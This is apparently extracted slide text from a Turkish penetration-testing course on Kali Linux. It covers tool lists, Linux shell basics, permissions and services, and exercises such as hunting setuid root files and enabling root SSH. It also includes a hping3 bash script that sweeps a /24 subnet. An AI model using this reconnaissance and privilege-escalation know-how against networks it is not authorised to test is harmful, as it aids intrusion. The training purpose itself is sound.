cat komutu dosya içeriğini listeler. release dosya içeriği
Linux işletim sistemi ile ilgili detay bilgi içerir.
id Linux Linux'ta mevcut kullanıcı kodu ve grup üyeliklerini listeler.
nbtscan Kali
Windows bilgisayarlar için uzaktan NetBIOS isim servisini
taramak için kullanılır.
snmp-check Kali SNMP servisi tarama aracıdır.
wmic service Windows
Windows bilgisayarlar üzerindeki WMI arayüzünden
(komut satırından) bilgi sorgulama aracıdır.
findstr Windows
Dosya ve stdin üzerinden aldığı satırlar içinde kelime
aracıdır.
144. ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
cacls Windows
Windows dosya ve dizin erişim hakları sorgulama ve
tanımlama aracıdır.
vb script Windows Windows tarafından desteklenen bir script dilidir.
SimpleHTTPServer Kali
PHP, ASP v.b. web script dosyaları da dahil herhangi bir
dosyanın hedef sistem üzerinden HTTP protokolü ile
çekilebilmesi için kullanılan basit bir HTTP servis
modülüdür.
net stop / start Windows
Windows üzerinde servis durdurma ve başlatma
komutlarıdır.
Wireshark Kali Paket dinleme ve protokol analiz aracı.
145. OLASI SORULAR VE İLGİLİ BÖLÜMLER
Soru Eğitim Bölümü
Kali tam olarak nedir? Kali'ye Giriş
Kali'nin üzerine bir uygulama kurulum yöntemi
nedir?
Kali'ye Giriş
Linux üzerindeki temel komutlar nelerdir? Kali'ye Giriş
TCP, UDP, HTTP nedir? Bilgi Toplama
Nmap portları nasıl buluyor, işletim sistemini
nasıl tahmin ediyor?
Bilgi Toplama
Netcat nasıl çalışıyor? Bilgi Toplama
NetBIOS nedir? Bilgi Toplama
SNMP nedir? Bilgi Toplama
Whois nedir? Bilgi Toplama
Shellcode nedir? Bellek Taşma Açıklıkları
146. OLASI SORULAR VE İLGİLİ BÖLÜMLER
Soru Eğitim Bölümü
Msfvenom ile ürettiğimiz shellcode'lar neden
x ile başlayan bölümlerden oluşuyor?
Bellek Taşma Açıklıkları
Attack proxy tam olarak ne yapıyor? Web Uygulama Açıklıkları
Nikto ve dirb /admin dizinini nasıl buldu? Web Uygulama Açıklıkları
SQL injection nedir? Web Uygulama Açıklıkları
PHP nedir? Web Uygulama Açıklıkları
Payload nedir, shellcode'dan farkı nedir? Metasploit ve Meterpreter
Meterpreter nedir? Metasploit ve Meterpreter
John the Ripper ne işe yarıyor? Parola Kırma
Yetki yükseltme yöntemleri nelerdir? Yetki Yükseltme
Local exploit ne demektir? Yetki Yükseltme
148. İÇERİK
• Kali Linux Nedir?
• Linux Shell Ortamı
• Linux Dosya Sistemi İşlemleri
• Linux Dosya Bulma İşlemleri
• Linux Shell Scripting
• Linux Kullanıcı Yönetimi
• Linux Ağ Trafiği İzleme
• Kali Linux Servis Yönetimi
• Linux Uygulama Kurulumu
• Editörler ve Dosya İzleme Araçları
149. KALİ LINUX NEDİR?
• Kali bir (genel amaçlı konularda Debian paketleri baz alınarak
oluşturulmuş) Linux dağıtımıdır, ancak genel amaçlı olmayıp özellikle
sızma testi, adli bilişim ve tersine mühendislik amaçlarıyla kullanılmak
üzere özelleştirilmiştir.
• Kali’nin araçlar açısından genel eğilimden farklılaştığı bir nokta sadece
DOS, DDOS ve anonim internet erişimine özel araçları genellikle yasal
projelerde kullanılmadıkları gerekçesiyle dışlamış olması ve
barındırmamasıdır.
• Debian standartlarına bağlı kalınarak özelleştirilmiş bu dağıtımın kernel
seviyesinde ve güvenlik araçları uygulama kodları seviyesinde gerekli
görülen pek çok irili ufaklı özelleştirme yapılmıştır. Yani herhangi bir linux
işletim sistemi alınarak üzerine araçlar basit bir şekilde kurulmamıştır.
Çoğunluğu açık kaynak kodlu araçlardan oluşan güvenlik yazılım paketleri
ile ilgili bilgi ve yama linklerine http://tools.kali.org web sitesinden
ulaşabilirsiniz.
150. KALİ LINUX NEDİR?
Kali’nin diğer linux dağıtımlarından belli başlı farkları şunlardır:
• Tek kullanıcı ve “root” kullanıcısı olarak kullanılmak üzere tasarlanmıştır.
Bu yaklaşım normal sunucular için güvenlik açısından sakıncalıdır. Ancak
kali’de kullanılan araçların önemli bir kısmı root erişim haklarına ihtiyaç
duyurmakta ve her defasında sudo yapmaktan kurtulmak için bu yaklaşım
kullanılmaktadır.
• Kali genel amaçlı bir dağıtım değildir ve bu nedenle ağ servisi vermesi de
beklenmez. Bu yüzden sistem başlangıç konfigürasyonları tüm servisler
kapalı olacak şekildedir. Elbette siz servisleri açabilir ve bunları her reboot
işleminden sonra aktif hale gelecek şekilde ayarlayabilirsiniz. Ancak diğer
Linux dağıtımlarında yeni bir servis kurulduğunda öntanımlı olarak init
script'lerini oluşturarak aktif hale gelmesini sağlayan update-rc.d script'i
Kali Linux üzerinde değiştirilerek bir kara liste kontrolü yapılmıştır.
• Kali kablosuz ağ testleri için özelleştirilmiş bir kernel kullanmaktadır. Yani
ayrıca özel sürücüler kurma ihtiyacı yoktur.
152. KALİ LINUX NEDİR?
• Kali bir linux dağıtımı olmakla birlikte Linux’u öğrenmek için doğru bir
platform olduğu söylenemez. Linux hakkında temel deneyimleri edinmek
için Ubuntu, Debian, Mint gibi dağıtımlar tercih edilebilir.
• Bununla birlikte Kali’yi etkin olarak kullanmak için temel linux kullanıcı ve
sistem yönetici bilgisine sahip olmak gereklidir.
153. LINUX SHELL ORTAMI Kullanıcılar logon
olduklarında çalışacak olan
shell uygulaması /etc/passwd
dosyasında belirtilir.
SORU: /usr/sbin/nologin ve
/bin/false gibi dosyalar ne işe
yarıyor olabilir?..
Kullanıcı $HOME dizini
Kullanıcı logon olduğunda
içine düşeceği dizindir.
/etc/passwd
154. LINUX SHELL ORTAMI
Shell açılışı sırasında çalışan
profil script'leri
/etc/profile
~/.bash_profile
~/.bash_login
~/.profile
167. LINUX SHELL ORTAMI
Diğer pratik shell komutları:
• sort: Adından da anlaşılacağı üzere almış olduğu girdiyi sıralayarak çıktı üretir
• uniq: Sıralanmış bir girdi dizisinden tekrarlayan satırları çıkararak satırları
tekil biçimde tekrar üretir
• grep: En sık kullanılan filtrelerden birisi olan “grep” komutu girdilerin içinde
belirli bir veri yapısını arar ve bu veri yapısının bulunduğu satırın tamamını
çıktı olarak tekrarlar. Yani veri yapısının görülmediği satırları eler. Veri yapısı
sabit bir metin olabileceği gibi bir “regular expression” da olabilir.
• head: Genellikle büyük bir dosya inceleneceği zaman sadece ilk birkaç
satırını görmek için kullanılır.
• tail: Genellikle büyük bir dosya inceleneceği zaman (örneğin bir log dosyası
gibi) dosyanın sadece son birkaç satırını görmek için kullanılır. Tail komutu
özellikle log dosyaları gibi sık değişen dosyaların sonuna eklenen satırların
sürekli izlenmesi için “-f” switch’i ile birlikte kullanılır.
• sed: Adı “stream editor”ün kısaltması olan “sed” komutu aldığı girdi içinde
gerekli değişiklik ve dönüşümleri yaparak çıktı üretir.
168. LINUX SHELL ORTAMI
Shell History dosyaları kullanıcıların
$HOME dizinlerinde bulunur ve
hassas bilgi içerebilir
169. LINUX SHELL ORTAMI
EGZERSİZ
• Kali bilgisayarınıza "root" kullanıcısı olarak logon olduğunuzda
shell'inizde tanımlı olan $PATH çevresel değişkeni "local path"i
(yani ".") içermekte midir?
• İçermiyorsa veya içermeseydi içinde bulunduğunuz dizindeki bir
uygulamayı / script'i nasıl çalıştırabilirdiniz?
171. LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ls -a" komutu ile normalde
görüntülenmeyen adı "." ile
başlayan dizin ve dosyaları
listeleme
172. LINUX DOSYA SİSTEMİ İŞLEMLERİ
"pwd" yani Present Working
Directory komutu ile içinde
bulunduğumuz dizinin adını
öğrenme
173. LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ls -l" komutu ile dizin ve dosyaların
sahiplik, erişim hakları ve
boyutlarını listeleme
174. LINUX DOSYA SİSTEMİ İŞLEMLERİ
Dosya / dizin erişim haklarının bulunduğu bölümün başında özel erişim bayrağı
(special permission flag) bulunur.
[-] [rwx] [rwx] [rwx]
Bu ilk bölümde bulunabilecek tüm opsiyonlara farklı bir kaynaktan
ulaşabilirsiniz. Ancak burada sadece sıklıkla karşılaşılan opsiyonlara
değineceğim:
• “-“ karakteri dosyanın rutin bir dosya olduğuna işaret eder.
• “d” karakteri ilgili ismin bir dizin ismi olduğunu belirtir.
• “l” dosyanın aslında farklı bir dosyanın sembolik linki olduğunu belirtir.
Bu konuyu aşağıda açıklayacağız.
176. LINUX DOSYA SİSTEMİ İŞLEMLERİ
Dosya erişim izinleri 3 farklı grup için verilir:
• Dosya sahibi kullanıcı (u - owner)
• Grup (g - group)
• Diğer (tüm) kullanıcılar (o - others)
Erişim hakları ise aşağıdaki gibidir:
• Okuma (r - read): Dosyalar için dosyanın içeriğinin görülebilmesi, dizinler için
dizin içeriğinin listelenmesi anlamına gelir.
• Yazma (w - write): Dosyalar için dosya içeriğinin değiştirilebilmesi, dizinler
için dizin içinde dosya oluşturma, dizin içindeki dosyaların adını değiştirme,
dizin içindeki dosyaları silme ve dizin özelliklerini (attributes) değiştirebilme
anlamına gelir.
• Çalıştırma (x - execute): Dosyalar için dosyanın (derlenmiş kod dosyası veya
script dosyası) çalıştırılabilmesi, dizinler için dizine giriş, dizinin içindeki dosya
ve dizinlere erişim hakkı anlamına gelir.
177. LINUX DOSYA SİSTEMİ İŞLEMLERİ
Setuid / setguid hakkına sahip dosyalar güvenlik denetimlerinde özellikle incelenir, çünkü
bu uygulamalar yüksek erişim hakkına sahip olduklarından düşük kullanıcı hakkına sahip
kullanıcılar tarafından kötüye kullanılabilirler. Ayrıca bu uygulamalardaki bir açıklık yüksek
kullanıcı haklarının herhangi bir işlem gerçekleştirilebilmesine de olanak tanıyabilir.
178. LINUX DOSYA SİSTEMİ İŞLEMLERİ
"chmod" komutu ile dosya erişim
haklarının düzenlenmesi
181. LINUX DOSYA BULMA İŞLEMLERİ
"which" komutu ile $PATH çevresel
değişkenindeki dizin sırasında ilk
bulunan çalıştırılabilir kodun
görüntülenmesi
"-a" opsiyonu ile tüm dizinlerde
bulunan çalıştırılabilir kodların
araştırılması
182. LINUX DOSYA BULMA İŞLEMLERİ
"locate" komutu “which” komutu gibi ne çalıştırılabilir dosyalara özeldir ne de sadece PATH
değişkeninde geçen dizinleri arar. “locate” komutu bir veritabanı içinde dosya isimlerini
arar. Bu veritabanı bir “cron” işiyle periyodik olarak güncellenirEğer veritabanını manuel
olarak güncellemek isterseniz “updatedb” komutuyla da bu işlemi yapabilirsiniz.
183. LINUX DOSYA BULMA İŞLEMLERİ
"find" komutunun "-name"
opsiyonu ile kullanılması ve "/etc"
dizini ve alt dizinlerinde ismi "prof"
ile başlayan tüm dosyaların
adlarının listelenmesi
184. LINUX DOSYA BULMA İŞLEMLERİ
EGZERSİZ
• "/usr" dizini ve onun altındaki dizinlerde "setuid" yani "s" biti
işaretli ve sahibi "root" kullanıcısı olan kaç adet dosya
bulunmaktadır?
İpucu: "man" komutu ile "find" komutunun manual page'ini
inceleyiniz. "man" komutu öntanımlı olarak "vi" editörünü (read-
only) kullanır. "vi" da bir kelimeyi aramak için "/"
karakterine bastıktan sonra kelimeyi
yazabilirsiniz. "find next" işlemi için "n"
tuşunu kullanınız.
İnternet'ten faydalanabilirsiniz.
185. LINUX SHELL SCRIPTING
#!/bin/bash
echo "Lütfen taranacak subnet'in ilk 3 octet'ini giriniz ve
[ENTER] tuşuna basınız (ör: 192.168.163)"
read SUBNET
function scan {
local YANIT="0"; local IP=$1.$2; local ECHO="echo-0"
hping3 $IP -c 1 -1 -C 8 >& aradosya.$IP # ECHO Request
if grep "1 packets received" aradosya.$IP >& /dev/null; then
if ! grep "Unreachable" aradosya.$IP >& /dev/null; then
ECHO="echo-1" # paket ICMP Unreachable yanıtı değil
fi
fi
echo $IP";"$ECHO
rm aradosya.$IP
}
for i in `seq 1 254`; do
scan $SUBNET $i
done
exit 0
196. LINUX KULLANICI YÖNETİMİ
EGZERSİZ
• Kali Linux bilgisayarınızın üzerinde öntanımlı olarak shell logon
olabilecek kaç kullanıcı bulunmaktadır?
• Shell logon olabilmek için gerekli kriterler nelerdir?
201. LINUX AĞ TRAFİĞİ İZLEME
EGZERSİZ
• "tcpdump" ile kaydettiğiniz ağ trafik paketlerini "Wireshark" ile
okuyarak inceleyiniz. "tcpdump" ile izleme yaparken bir web
trafiği oluşturarak ağ paketlerinin oluşmasını sağlayabilirsiniz.
İPUCU: "tcpdump"ın paketleri belli bir boyutta yakalaması ve bir
dosyaya yazması için gerekli komut opsiyonlarını araştırınız.
man dosyasından faydalanabileceğiniz gibi
internetten de faydalanabilirsiniz.
202. KALI LINUX SERVİS YÖNETİMİ
Debian'da "init" dosyası "systemd"
dosyasına linklenmiştir
"init" scriptlerinin yerini "systemd"
unitleri almıştır
203. KALI LINUX SERVİS YÖNETİMİ
Kali'de servis yönetimi için "systemctl"
komutunu kullanabilirsiniz
Bununla birlikte "init" script desteği ve
"service ... start / stop" komutları ile servis
yönetimi imkanı devam etmektedir
204. KALI LINUX SERVİS YÖNETİMİ
"root" kullanıcısı ile uzaktan "ssh"
bağlantısı kurabilmek için yapılması
gereken konfigürasyon ayarı
206. KALI LINUX SERVİS YÖNETİMİ
systemd service unit'lerine diğer
örnekler
207. KALI LINUX SERVİS YÖNETİMİ
EGZERSİZ
• Kali Linux bilgisayarınızda "root" kullanıcısının "ssh" logon
yapabilmesi için gerekli ayarı yapınız ve "ssh" servisini aktif hale
getiriniz. Windows host bilgisayarınıza "Putty" ssh client
uygulamasını indiriniz ve bu aracı kullanarak Kali Linux'a "root"
kullanıcısı ile "ssh" üzerinden bağlanınız.
• "ssh" bağlantınızı Wireshark ile izleyiniz.
208. LINUX UYGULAMA KURULUMU
Kali'nin üzerinde gelen uygulama
paketleri kaynak listesi
Kali'nin diğer dağıtımlardan temel
farklılıkları öntanımlı olarak bu
listenin daraltılımış olmasıdır
209. LINUX UYGULAMA KURULUMU
apt (Advanced Package Tool) aracının bilgisayar üzerindeki
paket bilgileri cache'ini güncellemek için herhangi bir
kurulum veya güncelleme öncesinde "apt-get update"
komutunu kullanınız.
211. LINUX UYGULAMA KURULUMU
apt ile uygulama kurmak için
"apt-get install ... "
Komutunu kullanınız
Kali apache2 paketinin
otomatik olarak kurulması ve
başlatılmasını engelledi
212. LINUX UYGULAMA KURULUMU
Sistem üzerinde kurulu paketleri incelemek için
"dpkg -list ... "
"apt" ve diğer paket yönetim araçları arka planda
"dpkg" komutunu kullanmaktadırlar
213. LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
Kali üzerinde C kodlarının derlenmesi
için gerekli olan "build-essential"
paketi kurulu olarak gelmektedir
216. LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
"make install" komutu ile derlenmiş
uygulama nesne dosyaları Linux'ta
uygun dizinlere yerleştirilir
217. LINUX UYGULAMA KURULUMU
EGZERSİZ
• Kali'nin resource'ları arasında bulunan ve parola kırma amacıyla
kullanılabilecek uygulamaları araştırınız.
İPUCU: "apt-get update" komutuyla uygulama paketleri cache'inizi
tazeleyin ve sonrasında "apt-cache search" komutunun man
page'inden faydalanarak arama yapınız.
218. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"cat" komutu
Adı "concatenate" kelimesinden gelir,
dosyaları birleştirmek için pratik bir
komuttur, ancak tek bir dosya içeriğini
incelemek için de kullanılabilir
219. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"vi" komutu
Çok sayıda tuş komutunu ezberlemeniz gerekir
ESC + "i" karakteri ile "input" moda geçebilirsiniz
ESC + ":" karakteri ile "komut" muduna geçebilirsiniz
220. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"nano" editörü
Linux'la yeni tanışanlar için daha "vi"a
nazaran daha iyi bir alternatif
diyebiliriz
222. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"tail" komutu
"-f" opsiyonu ile sürekli güncelleme yapar, bu nedenle
özellikle log dosyalarını izlemek için tercih edilir